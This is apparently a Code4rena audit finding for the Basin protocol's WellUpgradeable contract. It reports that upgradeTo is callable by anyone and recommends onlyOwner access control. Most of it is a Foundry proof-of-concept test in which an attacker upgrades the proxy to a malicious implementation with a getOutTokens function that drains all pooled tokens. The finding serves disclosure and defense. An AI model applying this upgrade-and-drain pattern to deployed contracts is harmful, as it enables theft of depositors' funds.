Unrestricted Contract Upgrade Mechanism in ``WellUpgradeable`` Allows for Arbitrary Implementation Changes and Potential Fund Drainage

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-07-basin/blob/7d5aacbb144d0ba0bc358dfde6e0cc913d25310e/src/WellUpgradeable.sol#L93-L96

Vulnerability details

Impact

The WellUpgradeable contract has a critical security vulnerability that allows any user to call the upgradeTo and upgradeToAndCall functions without any restrictions. This flaw enables an attacker to replace the contract's implementation with a malicious contract, potentially gaining control over the contract’s logic, including the ability to drain all user-deposited tokens from the pool.

Since the WellUpgradeable contract is designed to manage user funds within a liquidity pool, the consequences of this exploit are severe. An attacker could create a custom implementation that adds malicious functions, such as transferring all tokens to the attacker's address, effectively stealing all assets held by the contract. Moreover, the attacker could further manipulate the contract to seize ownership, allowing them to make additional unauthorized changes.

Proof of Concept

re-paste this into thetest/WellUpgradeable.t.sol file at the testing suit offered by the protocol:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {WellUpgradeable} from "src/WellUpgradeable.sol";
import {IERC20} from "test/TestHelper.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {MockPump} from "mocks/pumps/MockPump.sol";
import {Well, Call, IWellFunction, IPump, IERC20} from "src/Well.sol";
import {ConstantProduct2} from "src/functions/ConstantProduct2.sol";
import {Aquifer} from "src/Aquifer.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {LibWellUpgradeableConstructor} from "src/libraries/LibWellUpgradeableConstructor.sol";
import {MockToken} from "mocks/tokens/MockToken.sol";
import {WellDeployer} from "script/helpers/WellDeployer.sol";
import {ERC1967Proxy} from "oz/proxy/ERC1967/ERC1967Proxy.sol";
import {MockWellUpgradeable} from "mocks/wells/MockWellUpgradeable.sol";

contract WellUpgradeTestWalter is Test, WellDeployer {
    address proxyAddress;
    address aquifer;
    address initialOwner;
    address user;
    address mockPumpAddress;
    address wellFunctionAddress;
    address token1Address;
    address token2Address;
    address wellAddress;
    IERC20[] tokens = new IERC20[](2);
    address wellImplementation;
    address attacker = address(404);

    function setUp() public {
        // Tokens
        tokens[0] = new MockToken("BEAN", "BEAN", 6);
        tokens[1] = new MockToken("WETH", "WETH", 18);

        token1Address = address(tokens[0]);
        vm.label(token1Address, "token1");
        token2Address = address(tokens[1]);
        vm.label(token2Address, "token2");

        user = makeAddr("user");

        // Mint tokens
        MockToken(address(tokens[0])).mint(user, 10_000_000_000_000_000);
        MockToken(address(tokens[1])).mint(user, 10_000_000_000_000_000);
        // Well Function
        IWellFunction cp2 = new ConstantProduct2();
        vm.label(address(cp2), "CP2");
        wellFunctionAddress = address(cp2);
        Call memory wellFunction = Call(address(cp2), abi.encode("beanstalkFunction"));

        // Pump
        IPump mockPump = new MockPump();
        mockPumpAddress = address(mockPump);
        vm.label(mockPumpAddress, "mockPump");
        Call[] memory pumps = new Call[](1);
        // init new mock pump with "beanstalk" data
        pumps[0] = Call(address(mockPump), abi.encode("beanstalkPump"));
        aquifer = address(new Aquifer());
        vm.label(aquifer, "aquifer");
        wellImplementation = address(new WellUpgradeable());
        vm.label(wellImplementation, "wellImplementation");
        initialOwner = makeAddr("owner");

        // Well
        WellUpgradeable well =
            encodeAndBoreWellUpgradeable(aquifer, wellImplementation, tokens, wellFunction, pumps, bytes32(0));
        wellAddress = address(well);
        vm.label(wellAddress, "upgradeableWell");

        vm.startPrank(initialOwner);
        ERC1967Proxy proxy = new ERC1967Proxy(
            address(well), // implementation address
            LibWellUpgradeableConstructor.encodeWellInitFunctionCall(tokens, wellFunction) // init data
        );
        vm.stopPrank();
        proxyAddress = address(proxy);
        vm.label(proxyAddress, "proxyAddress");

        vm.startPrank(user);
        tokens[0].approve(wellAddress, type(uint256).max);
        tokens[1].approve(wellAddress, type(uint256).max);
        tokens[0].approve(proxyAddress, type(uint256).max);
        tokens[1].approve(proxyAddress, type(uint256).max);
        vm.stopPrank();
    }

    function test_POC_Walter() public {
        Call memory wellFunction = Call(wellFunctionAddress, abi.encode("2"));
        Call[] memory pumps = new Call[](1);
        pumps[0] = Call(mockPumpAddress, abi.encode("2"));
        // create new mock Well Implementation:
        address wellImpl = address(new MockWellUpgradeable2());
        WellUpgradeable well2 =
            encodeAndBoreWellUpgradeable(aquifer, wellImpl, tokens, wellFunction, pumps, bytes32(abi.encode("2")));
        vm.label(address(well2), "upgradeableWell2");

        // random user that deposits some funds //
        vm.startPrank(user);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 1_000_000;
        amounts[1] = 1_000_000;
        WellUpgradeable(proxyAddress).addLiquidity(amounts, 0, user, type(uint256).max);
        vm.stopPrank();
        assertEq(amounts, WellUpgradeable(proxyAddress).getReserves());

        // attacker hijack proxy contract with arbitrary implementation //
        vm.startPrank(attacker);
        WellUpgradeable proxy = WellUpgradeable(payable(proxyAddress));
        proxy.upgradeTo(address(well2));

        // no need to change the owner,since we want the tokens,but eventually we can even get owner control by inserting new functions in the new implementation
        assertEq(initialOwner, MockWellUpgradeable(proxyAddress).owner());

        // verify proxy was upgraded, using arbitrary impl contract and that can be upgraded by anyone
        assertEq(address(well2), MockWellUpgradeable(proxyAddress).getImplementation());
        assertEq(1, MockWellUpgradeable(proxyAddress).getVersion());
        assertEq(100, MockWellUpgradeable(proxyAddress).getVersion(100));
        // check for new upgraded proxy implementation

        // check balance of attacker is 0
        assertEq(tokens[0].balanceOf(attacker),0);
        assertEq(tokens[1].balanceOf(attacker),0);

        // steal every token
        MockWellUpgradeable2(proxyAddress).getOutTokens(address(tokens[0]));
        MockWellUpgradeable2(proxyAddress).getOutTokens(address(tokens[1]));
        vm.stopPrank();

        // check that the attacker have stolen the tokens
        assertEq(tokens[0].balanceOf(attacker),1e6);
        assertEq(tokens[1].balanceOf(attacker),1e6);
    }
}

contract MockWellUpgradeable2 is WellUpgradeable {

    function getVersion(uint256 i) external pure returns (uint256) {
        return i;
    }

    function getOutTokens(address token)
        external
        {
            IERC20(token).transfer(msg.sender,IERC20(token).balanceOf(address(this)));
        }
}

run using: forge test -vvvv --mt test_POC_Walter

Tools Used

foundry

Recommended Mitigation Steps

Implement strict access control for the upgradeTo and upgradeToAndCall functions by ensuring that only the contract owner (or another authorized entity) can call these functions. This can be done using modifiers like onlyOwner from OwnableUpgradeable

Assessed type

Access Control